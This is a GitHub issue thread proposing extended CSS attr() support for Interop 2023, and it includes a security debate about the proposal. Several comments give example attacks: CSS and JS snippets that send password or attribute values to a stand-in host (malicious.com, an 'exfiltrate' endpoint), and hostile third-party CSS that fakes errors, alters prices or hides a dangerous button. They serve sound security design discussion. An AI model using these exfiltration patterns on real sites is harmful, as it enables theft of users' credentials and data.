-
Notifications
You must be signed in to change notification settings - Fork 27
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
attr()
support extended capabilities (Interop 2023)
#86
Comments
Hi @brandonmcconnell! We haven't started planning for Interop 2023 yet, but I've created #78 which you can watch to see when things start happening. At some point there will be a public proposal process, and I'd suggest raising this then. Interpreting the compat tables is a bit tricky since it's just a lot of red, can you give a few code examples of things that already work in browsers and what things do not? |
Sure, I'll post a few examples later today/tomorrow. Thanks! |
Extended |
@brandonmcconnell We just opened up for Interop 2023 proposals yesterday, see https://github.com/web-platform-tests/interop/blob/main/2023/README.md for the process and what to expect. You have used the same sections as our Focus Area proposal template, so if you like I can change the label to make it such a proposal. Alternatively you could recreate it using https://github.com/web-platform-tests/interop/issues/new?assignees=&labels=focus-area-proposal&template=focus-area-proposal.yml. Which would you prefer? |
@foolip If you wouldn't mind just re-labeling it—if that would suffice—that works for me. Thanks! |
@brandonmcconnell for the tests you linked to this wpt.fyi query: That includes a lot of tests that aren't about At a glance I think some tests are missing, like for percentages and URLs. If anyone who knows this feature well could take a look, that'd be very helpful! |
It's somewhat unsurprising that we have few tests given lack of implementations; certainly there could be a vastly larger test suite for this. |
@foolip You're absolutely right. Not sure how that happened, but I've replaced it above now. Thanks! |
attr()
function extended capabilitiesattr()
support extended capabilities
w3c/csswg-drafts#5092 I think might be the most significant open issue on the spec here. |
My understanding is there are security issues for the |
@gsnedders @una Thanks, it looks like that's a good place to start in terms of security for this. Would it be better to continue the security discussion in that other issue or continue it here in the interop-specific issue? Nowadays, it's easier than ever—using puppeteer-like tools—to efficiently run web scraping and XSS workarounds. I wonder if there's a better way to implement security measures for CSS to prevent violations like that. Security is crucial to any language where user data can be exposed, however, when it's so easy to work around such limitations in JS, adding tight limitations around CSS like this feels more like a hindrance to the language than a help (imo). In the thread @gsnedders mentioned, @tabatkins mentioned a user could do something malicious like this: input[type="password"] {
background-image: url(concat('https://malicious.com/new?pw=', attr(value string)));
} This won't currently work though it may very soon, with CSS custom functions and Houdini soon to be supported. With JS, AFAICT someone could accomplish the same malicious goal with this simple JS: const password = document.querySelector('input[type="password"]');
const sendPassword = () => fetch(`https://malicious.com/new?pw=${password.value}`);
sendPassword();
password.addEventListener('change', sendPassword); The JS version here actually takes the live property value, whereas the CSS function only looks at the static attribute value; however, I also have another issue open to expose the live value property to CSS for use as well: Weighing between the two, a site's JS and CSS both always have full access to that site's code, so JS is just as vulnerable as CSS here, and a developer should be careful when adding either, though granted a developer is more aware of JS risks than any CSS risks, which is valid today. The real risk would appear to be XSS attacks, where JS/browsers already defend against JS XSS attacks, but not so for CSS. I think it would be best in the long run for CSS to have full exposure to site content as JS does without tremendously limiting it, though such a change would require some strong preventative measures as JS already takes. iframes also implement a similar type of security where the iframe itself sets which permissions the iframe has and what it can access. What if external CSS had this same sort of restriction where developers had to explicitly set which permissions a stylesheet had if it needed to access more vulnerable pieces on a page (e.g. form fields) that would arguably be very beneficial for CSS to be able to access? I do think passwords specifically could/should require their own separate permission if they were ever to be supported. I'm not sure what such an implementation/API could look like for CSS, maybe something like this: <link href="./styles" rel="stylesheet" allow="form password localstorage" />
<style allow="form password localstorage"></style> TL;DR: Security is crucial, and I think adding a feature like this prompts a deeper dive into how security is handled in CSS. I think native, same-origin JS and CSS should share the same visibility/exposure for most data, and 3rd-party JS and CSS should have to jump through the same or similar hoops to access local data (XSS), whether it be a special attribute like the These are just my initial thoughts as I sit here in an overcrowded coffee shop, but I'd love to keep this dialogue going and explore what that could look like. Thanks, all! |
When will this become a standard? It will be some amazingly useful, but I suspect I will be retired before I get to use it. Pulling data in from |
@brandonmcconnell I agree that allowing arbitrary URLs could be dangerous. Could we could go the |
A comment in the CSSWG security issue describes how That doesn't necessarily rule out all of the features, but if I would love to see this as part of Interop 2023 - The CSS Shapes spec shows a useful example using |
Security is essential, but we shouldn't pretend that third-party CSS is in any way safe. If you include other-site CSS on your site, they own your site now. body {
display: none;
}
html::after {
content: 'HTTP 500 Server Error';
} Imagine if the third party was doing that for some small percent of users. It'd be difficult to debug, and erode user trust. More subtle hacks could just remove the 'buy' button occasionally, or rearrange the paragraphs in content. .price-value::before {
content: '1';
} Oh shit prices just went up. .delete-everything-button {
opacity: 0;
position: absolute;
top: 500px;
left: 300px;
z-index: 10000;
} Now a dangerous button can be accidentally clicked. Etc etc. Third party CSS is not safe. |
@jakearchibald That's kinda my point too. Third-party scripts and styles are both already unsafe. I don't think we open the door all that much more by allowing wider access to Integrating with third-party sources always poses a risk and requires a level of trust with that source. Exposing whitelist/blacklist options may help to mitigate that risk, but I don't think avoiding it altogether is a good long-term solution. That's my hot take 🤷🏻♂️ |
I think allow/blocklist solutions creates a false sense of security. Attributes are already exposed to CSS. Yes, |
@jakearchibald I'm aware that some attributes are already exposed, but how would someone currently—using CSS—access the value of a field's "value" attribute? It could be possible; I just can't think of any way to do that off the top of my head. 😄 |
It's possible to use attribute selectors to ex-filtrate individual characters, or fragments. It would lead to a giant load of CSS but a script could knock up this in a jiffy. [some-attribute*="a"] { background-image: url(https://my-site.com/exfiltrate?letter=a) }
[some-attribute*="b"] { background-image: url(https://my-site.com/exfiltrate?letter=b) }
[some-attribute*="c"] { background-image: url(https://my-site.com/exfiltrate?letter=c) }
/*...*/
[some-attribute*="a"][some-attribute*="b"][some-attribute*="c"] { background-image: url(https://my-site.com/exfiltrate?letter=a,b,c) } |
In the State of CSS 2022 question about browser incompatibilities, there were some mentions of
|
In the MDN short survey on CSS & HTML, "CSS attribute references ( |
I largely agree with @jakearchibald, but want to point out that we unfortunately don't live in a binary world where CSS is either trusted (controlled by the application itself) or "third-party": there are many situations under which websites currently safely load CSS that is not directly under their control. For example, there are CSS sanitizers that disallow the use of selectors, More concretely, consider markup such as Another example are the consequences of this feature for Content Security Policy. Today, many sites focus on preventing script execution by setting If an attacker can just inject a As a comment to #86 (comment), today there is a substantial difference in the expressive capabilities of CSS and JS -- not just in the eyes of developers, but from a web platform perspective: for example, powerful new security APIs such as Trusted Types and the Sanitizer API focus on preventing script execution, but enforce no limitations on the injection of styles. If we add new expressive capabilities to CSS without taking into account that existing applications as well as the platform itself make a distinction between the power scripts and styles, we will cause security regressions. Because of this, I feel fairly strongly that the design of |
Is there an example of a CSS sanitizer that:
|
Sure, take a look at the first two restrictive examples of the use of DOMPurify and the native Sanitizer API from https://github.com/cure53/DOMPurify and https://web.dev/sanitizer/ respectively:
|
Related to this conversation, from another conversation happening on the
|
Hmm, good example. Could |
This would address part of the problem, but sadly not everything we should arguably care about. The two major remaining cases I can think of are:
At a high level, my guess is that the two directions in which we can go to mitigate these concerns would be:
These approaches are not mutually exclusive, e.g. the attribute allowlisting approach could be something that premits the use of |
The restrictions in |
In the model I was thinking of above, opting out of the restrictions would happen per-element; if you have an element on which you want to use
and
or
(the attribute name is obviously bad, this is just for the sake of discussion) |
I really like that idea, @arturjanc. It does really well to marry the two ideas of enforcing default restrictions while allowing exposure to CSS via whitelisting as we previously discussed. We can certainly bikeshed on the name some more, as you mentioned. Maybe something like cssx (CSS eXpose), where space-delimited attribute names can be used optionally. No special access to any attributes:<div data-username="sampleuser" data-password="abc123"></div> .password-stasher {
background-image: url(concat('/?usr=', attr(data-username string), '&pwd=', attr(data-password string)));
/* Should this property be computed at all?
When attributes are used which are not exposed,
should the attributes be replaced with empty strings
(nullish for type), or break the property value completely */
} Allow access to all attributes:<div data-username="sampleuser" data-password="abc123" cssx></div> .password-stasher {
background-image: url(concat('/?usr=', attr(data-username string), '&pwd=', attr(data-password string)));
/* evaluates to `url('/?usr=sampleuser&pwd=abc123')` */
} Allow access to specific attributes:<div data-username="sampleuser" data-password="abc123" cssx="data-username"></div> .password-stasher {
background-image: url(concat('/?usr=', attr(data-username string), '&pwd=', attr(data-password string)));
/* Per the same question(s) I posed in the first example,
would this property value break completely or evaluate to
`url('/?usr=sampleuser&pwd=')` where `attr(data-password string)`
evals to an empty string (nullish for type) */
} If we want to be a bit more verbose/explicit with the naming, we could use names like these (below) which directly relate to their CSS function couterparts
|
Just a note: this design discussion should probably happen in either the HTML repo, or the relevant CSS repo; the Interop repo is likely missing many of the people who would like to be involved. |
Note that it’s not possible to use any CSS function inside |
@ExE-Boss Could |
Yes, we created the |
Thank you for proposing We wanted to let you know that this proposal was not selected to be part of Interop this year. We had many strong proposals, and could not accept them all. There is a lot of support for For an overview of our process, see the proposal selection summary. Thank you again for contributing to Interop 2023! Posted on behalf of the Interop team. |
@foolip @nairnandu Could we look into resurrecting this one for Interop 2024 as well? |
attr()
support extended capabilitiesattr()
support extended capabilities (Interop 2023)
Created a new issue for this in Interop 2024: #521 |
Description
The attr() CSS function is used to retrieve the value of an attribute of the selected element and use it in the stylesheet. It can also be used on pseudo-elements, in which case the value of the attribute on the pseudo-element's originating element is returned. (MDN)
Specification
CSS Values and Units Module Level 5
# attr-notation
Tests
wpt / css / q: css-values
More tests courtesy of @karlcow (from comment below) using…
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-flex-001.html
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-flex-002.html
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-flex-003.html
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-grid-001.html
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-grid-002.html
wpt.fyi/css/css-align/self-alignment/self-align-safe-unsafe-grid-003.html
wpt.fyi/css/css-conditional/at-supports-namespace-001.html
wpt.fyi/css/css-content/attr-case-sensitivity-001.html
wpt.fyi/css/css-content/attr-case-sensitivity-002.html
wpt.fyi/css/css-content/attr-case-sensitivity-003.html
wpt.fyi/css/css-gcpm/string-set-012.html
wpt.fyi/css/css-values/attr-color-invalid-cast.html
wpt.fyi/css/css-values/attr-color-invalid-fallback.html
wpt.fyi/css/css-values/attr-color-valid.html
wpt.fyi/css/css-values/attr-in-max.html
wpt.fyi/css/css-values/attr-invalid-type-001.html
wpt.fyi/css/css-values/attr-invalid-type-002.html
wpt.fyi/css/css-values/attr-invalid-type-008.html
wpt.fyi/css/css-values/attr-length-invalid-cast.html
wpt.fyi/css/css-values/attr-length-invalid-fallback.html
wpt.fyi/css/css-values/attr-length-valid-zero-nofallback.html
wpt.fyi/css/css-values/attr-length-valid-zero.html
wpt.fyi/css/css-values/attr-length-valid.html
wpt.fyi/css/css-values/attr-px-invalid-cast.html
wpt.fyi/css/css-values/attr-px-invalid-fallback.html
wpt.fyi/css/css-values/attr-px-valid.html
wpt.fyi/css/css-values/calc-rgb-percent-001.html
wpt.fyi/css/css-variables/variable-generated-content-dynamic-001.html
wpt.fyi/css/cssom/css-style-attr-decl-block.html
wpt.fyi/css/cssom/serialize-values.html
Rationale
This has been a highly anticipated feature for several years and would do a great deal to equip developers to utilize values defined in markup within their styles. The workaround thus far has been to exclude these values within CSS custom properties (variables), but that often requires having values in two places— (1) an attribute for proper syntax for a given element and (2) a CSS custom property for usage within stylesheets. but for many, especially non-devs who simply work with HTML, this
Supporting rationale
attr()
is more semantic — avoiding forcing styles into the markup using CSS custom properties as a workaroundattr()
properly often requires addtl setup within markup simply to allow value exposure to CSSSupporting examples
Click to expand relevant example
A11Y labels (tooltip example)
<type-or-unit>
(units example)background-image (
url
example)❌ w/o extended
attr()
features — usingdata-
attr workaround (not possible without CSS custom properties)❌ w/o extended
attr()
features — using CSS custom properties workaround✅ w/ extended
attr()
featuresCurrent Browser Compatibility (view on MDN)
Expand to see screenshot of CSS
attr()
browser compatibility chart (from MDN)The text was updated successfully, but these errors were encountered: